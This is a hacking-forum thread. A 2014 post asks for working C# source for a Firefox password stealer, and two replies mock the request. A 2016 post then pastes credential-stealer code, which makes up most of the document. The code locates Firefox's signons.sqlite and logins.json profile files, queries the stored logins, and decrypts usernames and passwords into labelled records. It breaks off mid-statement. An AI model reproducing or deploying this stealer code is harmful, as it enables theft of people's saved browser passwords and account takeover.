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Thread: [Searching FireFox PW Stealer + Sorce](#)

iTutHD - February 20, 2014, 9:31 am

Hello :)

I'm searching for a working FireFox PW Stealer with Sorce code which is written in C#
Would be nice if u can give me a link or so. I tried using the search but I didn't find one which works with the current versions.

Aeonhack Archivist - February 20, 2014, 2:18 pm

And I'm looking for somebody who will give me a million dollars, but that isn't happening any day soon. Go learn some programming instead of asking for people to build shit for you.

marvinn - February 22, 2014, 4:08 am

(Feb 20, 2014 03:18 PM)alecn1519 Wrote: [\[CITE\]](#) And I'm looking for somebody who will give me a million dollars, but that isn't happening any day soon. Go learn some programming instead of asking for people to build shit for you.

Or he needs to learn 2 use the search function. There has been released one like a week ago.. Just search for it.

JustFormyLife - July 4, 2016, 2:51 am

Hi guys, help me with Stiller passwords Firefox

USE:

Code // Mozilla Firefox

```
string str = string.Empty;
string str2 = null;
string path = null;
bool flag = false;
bool flag2 = false;
try
{
    if (directories.Length != 0)
    {
        string str6;
        string str7;
        //string str10;
        foreach (string str4 in directories)
        {
            string[] files = Directory.GetFiles(str4, "signons.sqlite");
            if (files.Length > 0)
            {
                str2 = files[0];
                flag = true;
            }
            files = Directory.GetFiles(str4, "logins.json");
            if (files.Length > 0)
            {
```

```

        path = files[0];
        flag2 = true;
    }
    if (flag2 || flag)
    {
        CryptoAPI.FFDecryptor.Init(str4);
        break;
    }
    if (flag)
    {
        using (SQLiteConnection connection = new SQLiteConnection(string.Format("Data
Source=\"{0}\";Version=3;FailIfMissing=True", str2)))
        {
            connection.Open();
            SQLiteCommand command = connection.CreateCommand();
            command.CommandText = "SELECT encryptedUsername, encryptedPassword,
hostname FROM moz_logins";
            using (SQLiteBase.DataReader reader = command.ExecuteReader())
            {
                while (reader.Read())
                {
                    str6 = CryptoAPI.FFDecryptor.Decrypt(reader.GetString(0));
                    str7 = CryptoAPI.FFDecryptor.Decrypt(reader.GetString(1));
                    // str10 = str;
                    // str = str10 + "-=====[Mozilla Firefox]=====-" +
Environment.NewLine + "Link: " + reader.GetString(2) + Environment.NewLine + "Username: " +
str6 + Environment.NewLine + "Password: " + str7 + Environment.NewLine + "Browser: Mozilla
Firefox" + Environment.NewLine;
                }
            }
            command.ExecuteReader();
            command.Dispose();
        }
    }
}
if (flag2)
{
    FFLogins logins;
    using (StreamReader reader2 = new StreamReader(path))
    {
        logins = JsonConvert.DeserializeObject<FFLogins>(reader2.ReadToEnd());
    }
    foreach (LoginData data in logins.logins)
    {
        str6 = CryptoAPI.FFDecryptor.Decrypt(data.encryptedUsername);
        str7 = CryptoAPI.FFDecryptor.Decrypt(data.encryptedPassword);
        // str10 = str;
        // str = str10 + "-=====[Mozilla Firefox]=====-" +
Environment.NewLine + "Link: " + data.hostname + Environment.NewLine + "Username: " + str6 +
Environment.NewLine + "Password: " + str7 + Environment.NewLine + "Browser: Mozilla Firefox" +
Environment.NewLine;
        if ((str6 != "") || (str7 != ""))
        {
            string FG = string.Format(

```

